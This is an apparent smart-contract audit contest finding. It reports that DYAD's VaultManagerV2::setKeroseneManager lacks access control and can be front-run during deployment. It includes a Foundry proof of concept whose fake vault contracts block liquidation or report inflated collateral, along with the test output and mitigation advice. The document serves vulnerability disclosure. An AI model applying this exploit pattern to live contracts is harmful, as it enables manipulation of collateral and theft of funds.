Front-running VaultManagerV2::setKeroseneManager during the deployment allows a bad actor to arbitarily set any Kerosene value for a dNFT

[c4-bot-7]

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/script/deploy/Deploy.V2.s.sol#L67 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L59-L64

Vulnerability details

Root Cause

VaultManagerV2::setKeroseneManager does not have any access control. This allows an attacker to front-run the deploy script's vaultManager.setKeroseneManager call and initializing it with a rogue KeroseneManager entity. As the Kerosene value of a dNFT checks the getUsdValue of all Kerosene vaults, this allows for an attacker to either protect a position from being liquidated by utilizing RevertingVault that reverts or returning an arbitary value for getUsdValue using FakePriceVault.

Impact

As the collateralization ratio becomes compromised, the following can happen:

1. A liquidable position can be protected from liquidation by reverting
2. A dNFT's Kerosene value essentially becomes infinite, allowing users to mint as much DYAD as they have exogenous collateral

Proof of Concept

Add this before Deploy.V2.s.sol#L67 to simulate an attacker front-running the setKeroseneManager call.

//////// START FRONT RUN TXS ////////
vm.stopBroadcast();  // Stop the current broadcast
vm.startBroadcast(address(0xbadb01));
// Malicious actor initializes the kerosene manager with a rogue entity.  This actually can be any address.
KerosineManager rogueKerosineManager = new KerosineManager();
vaultManager.setKeroseneManager(rogueKerosineManager);
vm.stopBroadcast();

vm.startBroadcast();  // Resume the current broadcast
// Expecting the next call (the genuine setKeroseneManager) to revert to allow the rest of the script to run while in simulation
vm.expectRevert("Initializable: contract is already initialized");
//////// END FRONT RUN TXS ////////

As all the transactions in the deployment script are sent to the mempool already, the rest of the transactions will continue to run.

A simple fork test can be used to simulate this attack. This test script also demonstrates how to use a BadVault to revert a note's getKeroseneValue functions which is called during liquidation.

forge t --mt test_rogueVaultsFromFrontrun --fork-url <MAINNET_RPC_URL> -vv

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/console.sol";
import "forge-std/Test.sol";

import {DeployV2FrontRun, Contracts} from "../../script/deploy/Deploy.V2.frontrun.s.sol";
import {ERC20} from "lib/solmate/src/tokens/ERC20.sol";
import {Licenser} from "../../src/core/Licenser.sol";
import {Parameters} from "../../src/params/Parameters.sol";
import {WETH} from "../WETH.sol";
import {DNft} from "../../src/core/DNft.sol";
import {Vault} from "../../src/core/Vault.sol";

contract RevertingVault {
  mapping(uint => uint) public id2asset;
}

contract FakePriceVault {
  mapping(uint => uint) public id2asset;
  function getUsdValue(uint) public pure returns (uint) {
    return 1e27; // 1 billion dollars
  }
}

contract V2TestRogueKeroseneManager is Test, Parameters {
  function test_rogueVaultsFromFrontrun() public {
    Contracts memory contracts = new DeployV2FrontRun().run();
    console.log("Status after simulating a deployment that got front run");
    console.log("contracts.kerosineManager (genuine):               ", address(contracts.kerosineManager));
    console.log("contracts.kerosineManager.owner() (MAINNET_OWNER): ", address(contracts.kerosineManager.owner()));
    console.log("contracts.vaultManager.keroseneManager() (fake):   ", address(contracts.vaultManager.keroseneManager()));
    console.log("contracts.vaultManager.keroseneManager().owner():  ", address(contracts.vaultManager.keroseneManager().owner()));

    Licenser licenser = Licenser(MAINNET_VAULT_MANAGER_LICENSER);
    vm.prank(MAINNET_OWNER);
    licenser.add(address(contracts.vaultManager));

    address badb01 = address(0xbadb01);
    vm.prank(MAINNET_OWNER);
    uint badb01TokenId = DNft(MAINNET_DNFT).mintInsiderNft(badb01);    

    // drop 1000 eth into ethVault for initial TVL used for calculating kerosene price
    vm.deal(address(contracts.ethVault), 1000 ether);
    vm.prank(address(contracts.ethVault));
    WETH(payable(MAINNET_WETH)).deposit{value: 1000 ether}();

    vm.startPrank(badb01);

    // mint DYAD with 1000 eth
    vm.deal(badb01, 1000 ether);
    WETH(payable(MAINNET_WETH)).deposit{value: 1000 ether}();
    WETH(payable(MAINNET_WETH)).approve(address(contracts.vaultManager), 1000 ether);
    contracts.vaultManager.add(badb01TokenId, address(contracts.ethVault));
    contracts.vaultManager.deposit(badb01TokenId, address(contracts.ethVault), 1000 ether);
    contracts.vaultManager.mintDyad(badb01TokenId, Vault(contracts.ethVault).getUsdValue(badb01TokenId) * 2 / 3, badb01);

    console.log("");
    console.log("CollatRatio after minting DYAD:       ", contracts.vaultManager.collatRatio(badb01TokenId));

    // creating the bad vaults
    RevertingVault revertingVault = new RevertingVault();
    contracts.vaultManager.keroseneManager().add(address(revertingVault));
    FakePriceVault fakePriceVault = new FakePriceVault();
    contracts.vaultManager.keroseneManager().add(address(fakePriceVault));

    // bad actor uses rogue kerosine manager to revert collatRatio by adding an invalid vault
    contracts.vaultManager.addKerosene(badb01TokenId, address(revertingVault));

    // collatRatio now reverts and cannot be liquidated if in a liquidatable position
    console.log("CollatRatio using RevertingVault:      RevertingVault::getUsdValue (EvmError: Revert)");
    vm.expectRevert();
    contracts.vaultManager.collatRatio(badb01TokenId);

    // use fake price vault instead
    contracts.vaultManager.removeKerosene(badb01TokenId, address(revertingVault));
    contracts.vaultManager.addKerosene(badb01TokenId, address(fakePriceVault));
    console.log("CollatRatio using FakePriceVault:     ", contracts.vaultManager.collatRatio(badb01TokenId));

    // bad actor can choose to remove the invalid vault any time to lift the revert protection
    contracts.vaultManager.removeKerosene(badb01TokenId, address(fakePriceVault));

    // collatRatio is working fine again
    console.log("CollatRatio after removing bad vaults:", contracts.vaultManager.collatRatio(badb01TokenId));
    contracts.vaultManager.collatRatio(badb01TokenId);
    vm.stopPrank();
  }
}

Test output:

Logs:
  Status after simulating a deployment that got front run
  contracts.kerosineManager (genuine):                0x50EEf481cae4250d252Ae577A09bF514f224C6C4
  contracts.kerosineManager.owner() (MAINNET_OWNER):  0xDeD796De6a14E255487191963dEe436c45995813
  contracts.vaultManager.keroseneManager() (fake):    0x01e6e30FFdC285c50565E1EecB06850e35C618cF
  contracts.vaultManager.keroseneManager().owner():   0x0000000000000000000000000000000000badB01

  CollatRatio after minting DYAD:        1500000000000000000
  CollatRatio using RevertingVault:      RevertingVault::getUsdValue (EvmError: Revert)
  CollatRatio using FakePriceVault:      476634621476084890719
  CollatRatio after removing bad vaults: 1500000000000000000

Tools Used

Manual testing

Recommended Mitigation Steps

It is of note that the only use of keroseneManager is an incorrect use of keroseneManager.isLicensed(vault). The recommended mitigation is to completely remove references of keroseneManage from the VaultManagerV2 contract.

However, if the reference to keroseneManager is deemed necessary for VaultManagerV2, then the setKeroseneManager function should have some access control such as adding the onlyOwner modifier to ensure that only the owner can trigger this function.

It is also possible to make no changes to the code and deployment script, as long as verification of the keroseneManager address is in-place after the deployment script has been run to ensure that the genuine instance has been set.

Assessed type

Access Control

[c4-pre-sort]

JustDravee marked the issue as duplicate of #1056

[c4-pre-sort]

JustDravee marked the issue as sufficient quality report

[c4-judge]

koolexcrypto marked the issue as unsatisfactory: Out of scope